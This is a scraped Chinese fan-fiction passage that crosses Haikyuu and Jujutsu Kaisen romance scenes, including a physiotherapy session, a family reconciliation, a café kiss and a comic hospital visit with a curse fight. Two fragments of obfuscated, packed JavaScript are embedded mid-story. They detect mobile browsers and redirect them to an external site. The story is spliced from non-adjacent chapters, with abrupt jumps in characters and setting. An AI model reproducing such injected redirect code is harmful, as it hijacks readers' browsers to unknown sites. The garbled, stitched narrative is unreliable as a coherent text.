我闭着眼睛感受着汹涌着的烦躁情绪被压制,才睁开眼,声音有点抑制的沙哑。
“这不关你的事,黑川爱你走吧。”
“我出来的时间有点长了,你清楚让我失控的后果。”
最后一句话只有我们两人能听见。
她脸色变了变:“我不相信你出门会不带药,你难道想变成失控的疯子吗?”
我扯了下嘴角,没什么表情的脸上露出一个细微的笑意:“我不想。”
舔了舔口中的糖果,我眯起了眼睛,看了眼时间。
“我的事情就不劳你费心了,我有治疗,你该走了。”
黑川爱看着她平静的脸,扯了扯嘴角:“你以为这就能让我放弃吗?质疑和我作对不是你的风格,你做好做好一无所有的准备。”
我听了这话有点想笑。
脸上顺从心意露出一个笑容。
大概是有点丑,黑川爱的脸色不太好看。
她也许是忘了,我本来就什么都没有,现在的一切都是我自己挣来的。
从前那些人和翔阳不一样。
但我懒得和她解释。
“你走吧。”
黑川爱后退一步,让侧脸正好对上微微打开的门缝,表情失落又倔强。
“可是发生了这样的事情,我作为你的妹妹怎么可能不管!就算你让我滚也不行。”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15279057|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>她说:“姐姐,收手吧,不要继续错下去了,现在回头还来得及。”
黑川爱仔细反思过她失败的原因。
横亘在她和日向翔阳之间的阻碍不是黑川一,而是他们之间的婚约。
只要让那纸婚约作废,黑川一束缚住日向翔阳的东西消失。
她就有办法让日向翔阳爱上自己。
从来没有人会拒绝一个满心满眼都是他的女人。
而这个女人恰好面容美丽、性格温柔、能力优秀。
在黑川爱的计划中,这些东西都是需要对照的,这次黑川一久违的再次扮演这个角色,却完全没有按照她的计划行动。
她心中生出厌烦。
当初那对父母为什么不把残次品销毁。
有她不就够了吗?
她吞下心中的不满,漂亮脸上的表情找不出破绽,担忧心痛的看着黑川一。
我慢吞吞把手里的板夹放下,反而点开手机,给艾利克斯发了条讯息。
黑川一:把邮件转发给我。
艾利克斯:[转发]
艾利克斯:黑漆漆你还好吗?[挠头,jpg]
艾利克斯:我知道你不是这种人,翔阳一点也没有讨厌你,我会替你向教练反应的。
黑川一:谢谢。
我点开邮件一目十行看了看内容,果然和艾利克斯说的那样,说我和翔阳君暗中结婚,实际上是我以死相逼。
甚至还有那天我血迹斑斑的样子。
我看着照片上蜷缩在地板上的苍白少女,放在小腹的手上满是血迹,身形瘦弱又脆弱,配上那双从凌乱黑发中幽幽露出的眼睛。
好一个爱而不得的阴暗批。
看起来真的像是切腹自杀一样。
我确定当时房间里不存在摄像头,日向君和艾利克斯也不可能留下照片,大概是黑川爱用了什么手段。
至于她是怎么知道这件事的。
“……”
我磨了磨牙,反手拉黑还在叽叽喳喳的艾利克斯。
这家伙大概黑川爱勾勾手指,什么事都能秃噜出去。
看在他第一个来关心的份上,拉黑三天好了。
我又看了会儿照片,拿起板夹绕过黑川爱拍了拍离门口最近的床:“进来吧,到时间了,木兔君。”
僵立再门外的人影动了动,同手同脚走进来,表情看上去一副很想逃的样子。
我早已准备好被人用异样的目光探究,没想到进来的青年看起来比我不自在多了。
有着一头黑白相间的冲天短发,精神奕奕的俊朗五官的青年,在我的指示下直挺挺的躺在床上。
和我尴尬的对视。
我:“……先从背后的肌肉群开始木兔君,请趴过去。”
他松了口气,迅速转了个方向,用头发支棱的后脑勺对着我。
我忍笑。
没察觉治疗室角落的帘子几不可查的动了动。
我拉紧手套,让橡胶手套紧紧贴合手指,活动了一下手指按上木兔君结实紧绷的背。
“如果痛的话可以喊出声哦。”
我公事公办的进入工作状态,木兔光太郎好像也放松下来,跟着好奇问道:“喊出来会轻点吗?”
21. 第 21 章
我检查了一下他过于紧张的大腿和肩背肌群,无情地说:“不行,这几天的松解木兔君都逃了,再这样下去很容易拉伤。”
“痛就忍着。”
我看着他这大高个的后脑勺硬生生看出了点可怜兮兮的味道,塞了个捏捏球到他手心。
“忍不住就捏捏这个。”
“唔。”
他闷声回答。
其实他才没有逃,只是黑川爱说她可以帮忙减轻姐姐的工作压力,他也没什么所谓就在楼下做了。
但训练时总感觉差点什么,今天才上来的。
没想到会遇见这一幕。
他有点尴尬,却忍不住想到翔阳,难道翔阳真的已经结婚了吗?
还是……还是这位新来的理疗师强迫的?!
很快他就没有多余的精力想东想西,随着黑川一偏冷的声线,转身、抬腿,他额头很快布上了薄汗。
很痛。
但也有被彻底松解舒展后说不出的爽。
难怪最近很多人都喜欢往上跑。
在这一刻他忽然有点羡慕翔阳了,有这样的理疗师在身边,翔阳那家伙的身体一定很好吧。
能够带着更加健康的身体毫无顾忌的打排球啊——
木兔有点一根筋的脑袋,很快将黑川一和排球划上递进的符号,等他昨晚松解起身活动的时候这个念头达到了顶峰。
我脱下手套,抽出笔在板夹上写写画画,头顶的目光却让我有点不能忽视。
只好放下东西对上他的视线。
“怎么了木兔君,是还有哪里有问题吗?”
我咬碎了口中几乎全部融化的糖果,拿着空荡荡的棍子转了几圈,和手套一起扔进垃圾桶。
做好了被质问的准备。
我记得木兔君应该是翔阳的朋友对吧?
木兔光太郎弯腰道歉:“抱歉,刚才听到了你和黑川桑的对话。”
我:“?”
“但是他并不是那种轻易会被威胁的人,请一定不要误会他的心意!”
我:“??”
他说完就红着脸跑了,留我一个人傻在原地。
等回过神后,我缓缓捂住脸。
啊,被选择了。
这个被信任的人是我啊。
我心口酸涩又鼓胀,却又有说不出的高兴,好像遇到翔阳之后,碰到的居然全都是出乎意料的好人。
我忽然生出一种冲动。
想见翔阳。
现在就想见到他,就算被所有人的目光看到也没关系。
我不会害怕了。
虽然是这样说的来着,但是这家伙到底是从哪里冒出来的啊?!
我身体僵直站在原地,全靠大腿边的理疗床支撑身体,才没有腿软倒下去。
染了一头金发的男人勾唇靠近,上调的眼尾让我联想到一种毛茸茸的小动物。
伴随这家伙歪头的动作,金发随着动了动。
更像了啊摔!
我被迫仰头和忽然从角落冒出来的家伙对视,逐渐从可能闹鬼了的幻想中走出。
理疗室角落的帘子敞开微微摆动,我镇定下来,蹙眉看着他。
从记忆里翻了翻。
“宫……宫侑?”
他闻言直起身,离远了点,竖起一只手朝我打了个招呼:“哟。”
……哟个什么啊!?
这家伙绝对是从我进来开始就躲在最里面了吧,做这种事情不躲好就算了,居然还能这么若无其事从我面前路过。
这家伙是什么品种的怪胎啊!
他双手插兜往外走,身形懒散,一派悠闲。
“就像木兔说的那样,翔阳可不是看上去那么好骗的家伙,总之我先走了。”
“啊,对了,不用在意那个谁的话。”
我抽着嘴角看着他不急不缓地消失在门外,还是没有提醒他鞋子好像穿反了。
所以说这人到底是想来干什么的……
我扶额出了口气,擦了擦额头冒出的虚汗,整理了一下今天的工作,写了一封邮件。
一式两份分别发送给负责人以及圣保罗的Asas。
发送完毕,我收拾好东西,准备做完今天的工作再离开。
下班时间在路口汇合的翔阳看起来没什么异样,我们并肩走在一起,气氛过分和谐。
说起来我们最开始总是一前一后来着,不知道什么时候,变成了并肩而行。
我垂眸看了眼手指微动和另一只深了两个色号的手碰了碰。
随后就被那只手抓进掌心。
我眯了眯眼睛,又看了他一眼,思索着今天的事情要不要现在就告诉他,不过应该也瞒不住吧。
我还未说话,翔阳就自然而然地找到话题。
“小一在这边工作会很累吗?”
“稍微有一点点吧。”
日向翔阳的声音很平静,看来还没有得到消息。
黑川爱发出的邮件中当然不可能带上他本人。
不过说不定会发送给日向妈妈他们。
我有点心不在焉,想着待会儿怎么和日向妈妈表达我的心意,我和翔阳之间并不是带着胁迫。
我……喜欢他。
翔阳应该也是喜欢我的。
今天好好道歉,获得日向妈妈的理解。
如果她要求我们丢掉所谓的协议重新开始也无所谓,我相信我们之间已经有了新的、更深的羁绊。
这样想着我就有些止不住的雀跃,每天按时早起上班的痛苦也被消磨掉了一些。
我晃了晃我们之间交握的手。
“今天训练顺利吗?”
我漫无边际地扯着话题和他聊天,想要这条路更漫长一点,就这样牵着手走下去感觉也不错。
被握住的手紧了紧,紧接着那只手摸索着打开我的掌心,与我十指相扣。
过于紧密亲昵的握法,让我耳垂微微发烫。
我喜欢这样的亲昵。
“不是很顺利,有点不开心。”
“嗯?发生什么事情了?”
我脚步自然而然地停下,空闲的手摸上他微微垂下的脑袋,安抚小动物一样十分熟练地顺着毛。
“难道是教练训你了?还是身体哪里不舒服?”
我有点着急又茫然的在他身上巡视一圈,没有发现异常,心却紧张的提了起来。
他一言不发却抬起了我的下巴,望进我不再遮挡的双眸。
似乎是在确认什么,又似乎只是想要寻求安慰。
“没什么,只是快要结束了,我有点紧张。”
我立刻松了口气,将他梳顺了的橘色脑袋抱进怀里,下巴搁在发顶蹭了蹭。
嗯?好像有点软乎。
我不着痕迹再蹭了蹭。
“按照平时的来就好了,我永远站在你身边。”
抵在胸前的脑袋发出低低的声音。
“嗯。”
这种被人依赖的感觉让我如同泡进暖洋洋的水里。
大概他也觉得不错,我们维持着这个姿势在门前站了许久低声诉说,直到被一道惊讶的声音打断。
“小一翔阳?你们站在这里干什么?”
是日向妈妈的声音。
我尴尬的松开手,看着日向君顶着一头被蹭乱的头发站了起来,想要给他捋捋又意识到日向妈妈在旁边看着,手僵在半空。
没想到我只是抬了抬手,翔阳就凑了过来。
橘色的眼睛盯着我。
“头发乱了吗?”
“……嗯。”
我有点心慌又紧张的给他整理了
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15279058|166748||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
一下头发,直到那颗橘色的脑袋消失在我面前,才恢复了点镇定。
日向妈妈站在门口离我们还有点距离,我看不清她的神色,徒增许多遐想的空间。
在路上思来想去的应对方法,似乎都变成模糊不清的文字,让我看不清也念不出来。
不知过了多久。
日向纯看过来的视线似乎有点复杂,最终落在隐隐护着人的儿子身上,脸上带了笑。
“还待在门口干嘛,都进来。”
她把手里提着的菜篮丢给和自己对视的儿子,上前一步,挽住我的手。
诶?
我反应过来后轻轻吸了口气。
乖乖的跟着日向纯率先走了进去。
单独谈谈也正合我意。
日向翔阳提着篮子跟了进来,一直在两人身后打转,最后实在没忍住:“妈妈?”
我回头看了一眼,轻轻摇头。
日向纯观察着两人的互动,微微提起的心彻底放回肚子里。
看来事情并不是想象中那么糟糕,什么一个妈妈,自家孩子什么样她再清楚不过了。
邮件里的事情是不是真的还有待商量,但这小子看小一的眼神,可不像是什么都没有。
“知道了知道了,你们年轻人之间的事情妈妈不管,难得看你这么黏人。”
日向翔阳面色微红,只是在蜜色的肌肤上并不显眼。
只是勾起篮子示意。
“我和小一先帮忙处理材料,今天晚上吃烤鱼吗?”
家庭主妇需要挎在大臂小臂之间,带动腰腹力量带回来的东西,被他轻飘飘几根手指拿了起来。
随意挽到手肘的外套露出整条小臂,也让人更加清晰的看清其上纤长结实的肌肉走向。
随着动作收缩舒展的蜜色小臂,让随意站立的日向翔阳阳光俊朗的外形,不经意多出几分性感。
以及食欲。
我面无表情克制的收回目光,舌尖舔了舔犬牙。
日向纯嫌弃的挥挥手:“处理这个还要小一帮忙?你快去吧,妈妈就和小一说两句话。”
他在我小幅度挥手的动作下,磨磨蹭蹭的离开了。
我疑虑的看了眼他的背影。
翔阳应该还不知道才对,怎么感觉怪怪的。
很快我就没有心思思考翔阳的异常了。
我被日向妈妈带着在客厅坐下,抬眼就能看见在厨房打转的橘发男人,我对上他偷偷朝我看过来的眼睛,心里中镇定下来。
“抱歉妈妈,其实我和……”
“小一。”
面容温和的女人笑着打断了我,那双经过岁月侵蚀人仍然美丽的眼睛,宽容的看着我。
温暖柔软的手触上我的脸。
“我能看出来,小一是个坚强的孩子,当事情发生的时候,我们应该找出来加害者而不是责备因此而受伤的人对吗?”
这一刻我慌乱自卑的心被温柔的泉眼浸泡,恢复了彻底的宁静。
我闭上眼睛,侧头将脑袋主动搭在日向妈妈的掌心,心情复杂又喜悦。
曾经被毫不留情抛弃的我求而不得的东西,竟然在这个因失误而跌进的世界得到满足。
好开心。
而拥有着翔阳君和大家珍贵感情的我,不会再输了。
我将脑袋埋进日向妈妈怀里,脑速飞快的给系统打申请。
【NO.002号黑川一申请任务完成后合法滞留】
无形的数据穿过一层层玄妙的屏障最终落入主系统繁重的数据流当中,在权限不够的关卡被筛落之前,被一脚踹了回去。
双手插兜的前辈目送那段数据远去,又晃悠悠的离开。
“总要给努力的后辈一点奖励才行吧。”
“做到这种程度真是辛苦那家伙了。”
50-60
第51章
初夏里平凡的一天, 气温逐渐升高,阳光都多出了些灼人的生命力。
富有情调的咖啡厅里舒缓的爵士乐在绿植隔出的卡座之间流淌,配合店内微凉的冷气让人不自觉放松下来,靠坐在舒适隐蔽的卡座内非常乐意多点点东西在这里多休息一会儿。
但有人不这么想。
我头顶上就是出风口,对于初夏时节已经足够的冷气正对着我的颈侧,以至于那片皮肤有些微妙的紧绷感。
皮肤上被冷气激出了一些小疙瘩。
我却微妙的觉得有些热, 并且在另一双眼睛专注的眼神下有愈演愈烈的趋势。
也许其中有这家伙眼睛太好看的原因?
我一时冲动将“你是不是喜欢我”捅破那层窗户纸之后,心里隐约已经有些后悔了。
刚才的行径也许是今天早晨出门迈错了腿, 路上不小心踩到奇怪的东西,无形之中踢翻了阿飘的食物,所造成的鬼上身——这样解释的话他会信吗?
总而言之,在气氛越发粘稠、静谧的角落,我勉强维持着脸上的表情,心里却在疯狂后悔。
一分钟之前自信出击的家伙到底是谁啊!
我感觉额角似乎渗出了点热汗,细微的汗珠顺着肌理下滑伴随着几不可查的痒意。
说实话五条悟现在安静的让我有些害怕。
人一旦紧张就会忍不住胡思乱想,我盯着眼睛的这双蓝眼睛,脑海中自然而然的浮现出此人平日张狂不可一世的表情。
并做好如果待会儿五条悟忽然笑起来,贱兮兮的欣赏完我的紧张,开口嘲笑“啊哈哈哈哈我刚才是故意的吓到了吧小一怎么这么自作多情”之类的话,我绝对会在声音发出的0.01秒把撑在桌子上的右手糊上他的左脸。
ps:以前我是右手力气比较大的普通女生, 现在是右手力气能碎石的咒术师。
就在我右手暗暗做好准备甚至有些过于紧绷到发酸的时候, 他动了。
随着训练时间越来越长我愈发敏锐的五感清晰的察觉到在视线之外,稀碎的布料摩擦声音之下,一只手带着轻微的气流波动绕过我余光可能会看到的地方朝我身后探去。
我警惕的等待着他的动作。
刚才冲动之中升起的迤逦情思彻底消散,这双眼睛再好看,也阻止不了我开始分神。
我犹豫着是直接拉开距离当做什么都没发生过,反正他们也都十八岁了,在种花都算是成年人,这种见好就收的分寸感应该还是有的……吧。
果然还是等等看五条悟到底想干什么吧?
还没等我作出决定,有人就已经先一步替我做出了选择,那只手出乎意料果断的覆在我的脑后,堵住了我退缩的选择。
五条悟:“刚刚才说了那么好听的话,现在就打算反悔了吗?好渣啊小一。”
我被假装路过的服务生谴责的眼神刺了一下。
“出发之前把任务全都扔给杰,让他一个人打三份工的你才是人渣吧!”
我毫不犹豫的反驳,睁大眼睛,试图壮大我的气势。
虽然其中有我的一份,但完全可以顺手做的任务这家伙都扔给杰,果然还是五条悟的错。
谁知眼前的蓝眸非但没有被拆穿的心虚,反而漾起淡淡地笑意,像是倒映着天空的平静湖面落入一滴水珠。
荡漾起的层层波纹柔和又漂亮。
我为眼前从未见过的景色怔愣。
五条悟不动声色的起身,以居高临下的姿态主动靠近,过于贴近的距离夺去了我的呼吸。
我有些尴尬的想要向后稍微拉开一点距离,但脑后的手十分有存在感的阻止了我的动作,并且让我不得不面对两人呼吸交错的局面。
我该庆幸那名明显把想要看热闹写在脸上的店员,在听到五条悟把三人的工作推给一个人的时候,露出明显养胃的表情心有戚戚的转身离开。
不然我的尴尬不然会更上一层。
但我觉得自己似乎忘了点什么。
是什么呢?
“现在还在走神吗?”
什么?
眼角的余光有什么亮闪闪的东西在被绿植遮挡的窗外一闪而过,我还来不及反应,放在脑后的手倏然用力。
一个怒气冲冲的吻撞了上来。
我心跳漏了一拍,直愣愣的看着近在咫尺的蓝眸,和我对视良久的眼眸终于将注意力投射到其他地方,眼皮微微下垂,只露出如新月般的一汪篮泉。
隐约的流光在细密雪白的睫毛下流动,竟然让人觉出了一点静谧。
要知道这个词平时我是绝对不会用在这家伙身上的,现在我有点懊恼的想用手机拍下来。
简直像流星一样难得一见,我想。
唇上重重捻转磨蹭的触感反而被我忽视。
那汪蓝泉忽然从涓涓的流水变成了从天而降的瀑布,飞扬起来的白色羽睫像是山泉瀑布崖壁上的落雪。我被瞪了一眼。
“嘶!”
好——疼——
我唰的一下用上十成力抵着他的胸膛将人推开,捂着嘴巴“噗通”靠回座位里缓解舌尖被咬的痛感,眼睛里迅速积蓄生理性的泪花。
我含着一口冰镇的橘子汽水,顺便将含进去的冰块抵在舌尖,口舌不清的谴责。
“你干什么啊!痛死我了!你完蛋了五条悟,竟然敢这样玩弄我,我不会放过你的!”
回去我就把他的游戏存档全删了!
五条悟维持着被推开的姿势站在对面,垂眸注视,视线在含着冰块蒙上了一层水光的浅色唇瓣上停留。
“那你说想要怎么报复我?”
我吸溜着冰块的,抬头朝他翻了个白眼,我又不是傻子,怎么可能提前告诉他?
积蓄在下眼睑的液体顺着抬头的动作,从盛不住的下眼睑流了下来,一根手指比我反应还快,顺着落下的痕迹擦了擦。
带着硬硬茧子的指腹擦过的地方有些刺疼。
我蹙着眉偏了偏头。
五条悟看着从苍白脸颊上逐渐浮现的红痕,难得有些心虚,心里奇怪僵持别扭的胜负欲被打散,三两步凑到对面挤挤挨挨坐到扶手上。
他眼疾手快的捏住即将收回去的尖细下巴,声音放低:“嗯……不管是要删除存档,还是拿走游戏机,或者让我做任务当陪练都行。”
还能这样?
我眼神亮了亮,暗暗把他本人的提议都记在心里,准备当时候一一实践,顺利的把刚才发生的事情抛在脑后。
咒术师的记忆力没有这么差,但涉及到不想回忆的地方,记忆力显然充满能动性。
我挣了挣被五条悟捏住的下巴,自然而然的转移话题:“我们待会儿去哪儿,这里呆的时间够长了,那些人应该已经注意到我们了吧。”
等等。
我忽然想到什么神色一滞,眼神往被绿植挡住了大部分的街道看去。
下巴上的手硬生生将我的脸掰了回来。
不知何时,一只手撑着桌子一只手环住椅子靠背将我完全圈在角落的白发少年低头凑了过来,我发誓他的眼神亮的吓人。
“那不重要,现在我们有更重要的事。”
他特意利用身形将我困在角落也彻底隔绝了大部分视线,我再一次被吻住的时候,意外的情绪竟然比不过意识到被遮住后的放松。
迫于姿势问题我只能仰着头陷入被动。
明明第一次还只是小学生一样的简单触碰,现在竟然已经无师自通的撬开了门,生涩却强势的向里面探索。
我下意识抵抗的手指收紧,指节逐渐泛白。
凌乱的呼吸声交错。
短暂的清醒当中我庆幸这段时间没有新的客人和店员经过这边,又被迫在对方迅速熟练的接触当中失神。
从古至今不断有伟人向我们讲述一个道理:过犹不及。
我现在真的希望咒术界能够普及一下。
五条悟的唇比看起来还软这一点确实没错,但接吻不仅仅用的是唇瓣啊! (震声)
最初相触当中,抚慰疼痛的冰块不自觉纠缠着落入另一边,又很快在攀升叠加的温度当中消融,能够略微带来的凉意的固形物消失后就只剩下不断升温的亲昵接触。
和另一人接吻的感觉很奇妙。
他居然带着点甜甜的味道,接触的地方又格外柔软。
不得不承认一开始确实挺舒服的。
但随着没完没了的接触摩擦纠缠,我感觉手心贴着椅背的皮肤以及任何一个和五条悟接触的地方,都在腾腾冒着热气。
太热了。
不知节制的亲近让过度触碰过的地方开始渐渐麻木,明明耳边能听见零星水声,但我动了动干涸的喉咙,感觉自己像是沙漠中快要被旅人取干汁液的灌木。
好渴。
我搭在他手臂上手指颤抖,顺着他单薄衣衫下的手臂线条逐渐攀升移动,无力的指尖擦过他的下颌附上烧灼的耳廓。
给我停下。
“哼!”
风水轮流转。
之前我捂着嘴巴眼泪直流,现在轮到他捂着耳朵把五官攒成一团。
感觉刚才我像被同期某只亲亲咒灵上身了一样,终于获救的我放松了紧绷的脊背,翘着腿端着满是水汽的果汁一饮而尽。
完全将一旁故作可怜的家伙忽视的彻底。
一杯冰水贴在手边。
我瞅了眼把自己的水放过来的五条悟,毫不客气的再次大喝一口,终于缓解了莫名的干渴和麻木。
气氛都到这儿了,我动了动唇准备说点什么。
“小一夺走了我的初吻,你要对我负责。”
我捏着杯子的手倏然一紧,酝酿好的话卡主,差点被气笑了,原本打算说“谁不是一样”,但莫名其妙又一次顿住。
我陷入了沉思。
不对吧,我敢确定自己没交过男朋友,但总觉得说不出自己初吻也还在之类的话……
原本试图萌混过关的五条悟看着安静下来的黑川一aka五条家主母,红晕未散的表情一顿,眼神幽深又她看过来的时候变成失落。
没有了墨镜的遮挡,完全露出一张惊人帅脸的190白发大帅哥眼含希冀的看着对面的少女,声线柔软委曲求全:“小一不打算对我负责,那就换我来吧。”
路过的店员又没忍住朝我投来无声的谴责。
我:……
请问这两种选择有区别吗?
虽然确认了他的心意,但总觉得我丢了点什么。
我拽着五条悟离开咖啡店,面无表情的想,大概是节操吧。
我晚节不保(X)
五条悟看着两人交握的手,勾着唇按了按手机:“这边的任务五条家正好有多余的人手接手了。”
他晃了晃两人的手,看着黑发少女的目光既专注又灼热,像是忽然发现了什么蒙尘的宝藏,或是明白了什么东西。
浑身带着股压制不住的兴奋。
“既然如此我们去海边吧!”
我睨了他一眼,到底是不是多余的人恰好接手,我都不想拆穿,不过现在我也不想打断他的情绪,随意点点头。
“这个时候海边的话,应该可以吃海鲜还有游泳,正好一个星期之后再回来……那个,是杰吗?”
我说到一半声音有些迟疑,扯了扯五条悟的手臂朝侧前方的示意。
熟悉的黑发背影跟着人流蹒跚着进入那栋庞大的建筑。
两双震惊的视线落在建筑外巨大的发光招牌上——仙台市第一男科医院。
“暑期割X皮,买一根送一根~”
伴随着兴奋的广告音,我们对视一眼,步调一致的调转方向,尾随着黑发好友的背影进入建筑
第52章
充斥消毒水气味的诊室苍白安静,我站在看诊的椅子后,僵着脸看医生推了推眼镜,镜片后的眼睛锐利洞悉的光芒一闪而逝。
“你是说你们没有病,只是想入院两天?”
夏油杰平静的点头, 目光直视前方, 坐姿十分端正, 脊背挺直,面色诚恳又镇定。
只是眼神的落点似乎有些虚晃。
黑发少年正经平静且理直气壮的表情, 让身经百战的男科医生梗了梗,他也稍微坐直了身体。
看向夏油杰的眼神逐渐燃起了然的战意。
这是个硬茬子。
医生镜片闪过一片白芒,他承认面前的少年看起来太过镇定就连他都差点被骗过去了,但——有一点是不会骗人的。
当这位少年踏进这间专科诊室的那一刻他的所有镇定和否认,就全都是他的伪装啊!
夏油杰在医生睿智的注视下, 立即意识到了这一点,面色一点点沉了下去。
我眼尖的看见黑发少年挺直的背影细微晃了晃,面色发沉的和五条悟隐晦的对视一眼。
难不成……
“不管你们在想什么现在都给我适可而止,等会儿再告诉你们事情经过。”
现在不论杰说什么,我们大概都会同意,以为那张有一半隐藏在阴影当中的脸实在是有些狰狞。
我和跟进来的五条悟被扔出门外。
过了一会儿,不知道和医生谈了什么的夏油杰平静的走出诊室,他的气势很足医院的走廊为他增加了一些格外冰冷的气势。
但相互搀扶着从他身边蹒跚走过的两名少年打破了氛围。
他们两个让我又会想起在外面看见的广告。
显然二位同样是买一赠一, 看起来脸色都不错,不知道杰愿不愿意加上他的好兄弟一起, 毕竟有优惠不占是傻子。
我敏锐的觉得气氛好像变得有些尴尬。
好吧, 我怜爱的想,还是先不要问太过尖锐的问题,是我要跟过来的, 我该承担起缓和气氛的责任。
我清了清嗓子:“杰,又见面了。”
夏油杰看起来真的在忍受病痛的折磨,他的脸色看起来比刚才的买一送一两兄弟还要差。
他皱着眉,阴沉的脸色也遮掩不住有些憔悴的脸色,语气干巴巴:“走吧,这里不是说话的地方。”
也许是我们想错了,说不定杰不是因为任务,而是真的需要才来这里的。
我扯着五条悟跟上去,刚才的破冰让我信心倍增,刻意避开他可能存在的病情:“你有兴趣在这两天休息的时间,和他凑个单吗?”
夏油杰前进的脚步突兀的凝滞了一下。
我拉着五条悟的手反被拽住,直到我们三人都进了病房,白发少年才带着笑意开口,蓝眸中的深色有些危险。
“别告诉我你的意思是我想的那样。”
我沉吟了一下,视线落在病房内侧被隔开的帘子上:“大概是?”
我给了夏油杰一个眼神。
他虽然看起来不是很想和我对视,但还是阴沉这脸摆了摆手,我目光若无其事滑过床帘,落在五条悟身上。
五条悟看起来脸色也不太好了。
他环着我朝墙角走去,因为身高差的原因,他只能稍微弯腰,宽松款式的针织体恤微微下滑露出更清晰的锁骨和隐约的胸肌。
天生浅淡的肤色让那小片流畅不失力量感的胸膛,看起来多了些更纯洁的性感。
我眼神动了动。
他在我耳边轻笑:“在看什么?”
我伸手拽了拽他的领口,一大片胸膛和淡粉色露出一瞬,然后我眼疾手快的为他整理好衣服。
我背后抵着墙角,面前是五条悟笼罩下来的阴影,带着逐渐浓郁的樱花香气,双手落在他的肩膀,似扶似推。
“你的衣服乱了,我帮你整理一下。”
夏油杰翻了个白眼,没看那边忽然出现又忽然黏在一起的两人,他就知道这两人要是捅破了窗户纸,倒霉的只有他自己。
五条悟垂眸看着被自己挡在身下的黑发少女,她是他喜欢的人,更是他的恋人、妻子。
想到这里胸膛中平静的心脏都忍不住兴奋的跳了跳。
有些后悔同意跟上来了。
互相表明心意之后的情侣需要做什么他不是很清楚,但绝对不会是在男科医院三人约会。
他忍耐:“我们走吧,杰看起来没什么问题。”
夏油杰走向被床帘隔开的另一半空间,我不由分出一丝注意过去,对忽然变卦的五条悟飘了个疑惑的眼神。
“任务的话他当然不会有问题。”
剩下的话只是猜测,我有点说不出口。
也许是我过于敏感了,但总觉得从上次见面开始夏油杰就开始有点奇怪,今天见面之后那种不协调感更重了。
难道是被过多的工作弄成这幅模样了吗?
我没能从回忆中找出蛛丝马迹,却觉得并不能就这样放着不管。
“你觉得我刚才的提议怎么样?快点回答,不许蒙混过关!”
五条悟忍耐的神色一顿,蓝眸中的神色更沉了一点,过了好半晌才艰难的说:“你认真的?”
“你担心卫生问题的话,其实我有无下限,而且……”
他话音停住,床帘另一侧传来奇怪的响动,密密麻麻的像是忽然有无数水珠落在地面。
下一刻床帘陡然溅上一大片暗沉的液体。
有什么东西在地上剧烈翻滚,帘子很快给扯断捆扎在地上扭曲嘶吼的东西上,只剩一张漆黑的口器露在外面张开黑洞洞的口腔,发出无声的哀嚎。
我搭在五条悟肩膀上的手紧了紧,声音发干:“没想到这里还有一只大家伙哈。”
“问题来了,有什么办法让它在三秒内消失在我视线中呢?”
天杀的,软软白白身体一节一节的软体动物是我的死xue,眼前放大几百倍的虫子更是让我头皮发麻。
一阵夹杂着雨丝的风吹了进来。
夏油杰打开了窗户,将被床帘裹住的咒灵从窗户里硬生生塞了出去。
“茈。”
耳边是五条悟平静的声音:“当然有了。”
半空自由落体的咒灵就这样消失不见,只留下被强大咒力吹得四处飞舞的树叶。
夏油杰关上窗户走过来,接了一个电话,既然是来找咒灵的话,我猜电话对面是辅助监督。
他说了几句之后按了按眉心,在病床边坐下,并没看这边,半长的黑发披散。
“所以说你们来干嘛的?”
我还没从刚才忽然出现狂踹我软肋的大虫子身上回过神,就听五条悟平静的说:“啊,那个啊,杰你要做的话我们可以拼个单。”
夏油杰表情空白了一瞬。
苍白阴郁的感觉倒是消退了不少。
我下意识想。
夏油杰咬牙的声音在室内响起:“谁?谁要跟你拼啊?”
“那你要单独做吗?”
夏油杰:“……”
“我不拼,也没想做X皮手术啊!!!”
我和五条悟都被他陡然放大的声音镇住,过了一会儿我找回自己的声音,顺便和五条悟拉开距离。
“虽然我想说的不是这个意思,但我们也没有说要做的是X皮手术来着,果然杰心里其实是有想法的吗?”
夏油杰碎了。
他捂着额头想说什么却还是说不出口,过了会儿疲惫的声音响起:“我只是想调服这只咒灵而已,再等一天它大概就会破茧,升级成特级,能力还不错。”
“因为意外才提早把它弄出来的。”
两名意外在他阴郁破碎的眼神下呐呐点头。
夏油杰:“很好,还有我不希望再出现的XX手术这四个字,今天才发现我对这四个字过敏,以后也最好不要让我看见谢谢。”
我点点头,头也不回的捂住五条悟的嘴,保证:“好好好,绝对不会再说了。”
五条悟恶狠狠的咬了一口挡住自己的手指,不满的说:“你干嘛,我是那种不分轻重场合的人吗?说了不说X皮手术就不会再说X皮手术这几个字!、也不会把杰来这里的事情说出的。”
“咔嚓。”
三人的房间里好像有什么东西静静的再次裂开。
我警觉的转头。
“咳,总之就是这样,要是杰你不放心的话就和我们立下束缚。”
夏油杰面无表情的将头发扎起,拒绝:“不,不用了,先说说你们到底有什么事吧?”
他看起来好像十分希望我们从这里消失的样子。
我责怪的瞥了眼一脸无辜的五条悟。
都怪你。
五条悟:明明是小一的意思!
我们眼神暗中交锋几回合后终于分出时间抽空回答他的问题。
我说:“我和悟打算去旅行。”
我指了指五条悟,他配合的点点头,大鸟依人的靠在我肩膀上,我把他抖落下去。
“然后正好发现飞机票家庭三人套餐打折诶,正好我们一起去怎么样?”
夏油杰眉头抽动几下,又熟练的恢复平静:“不去,我很忙。”
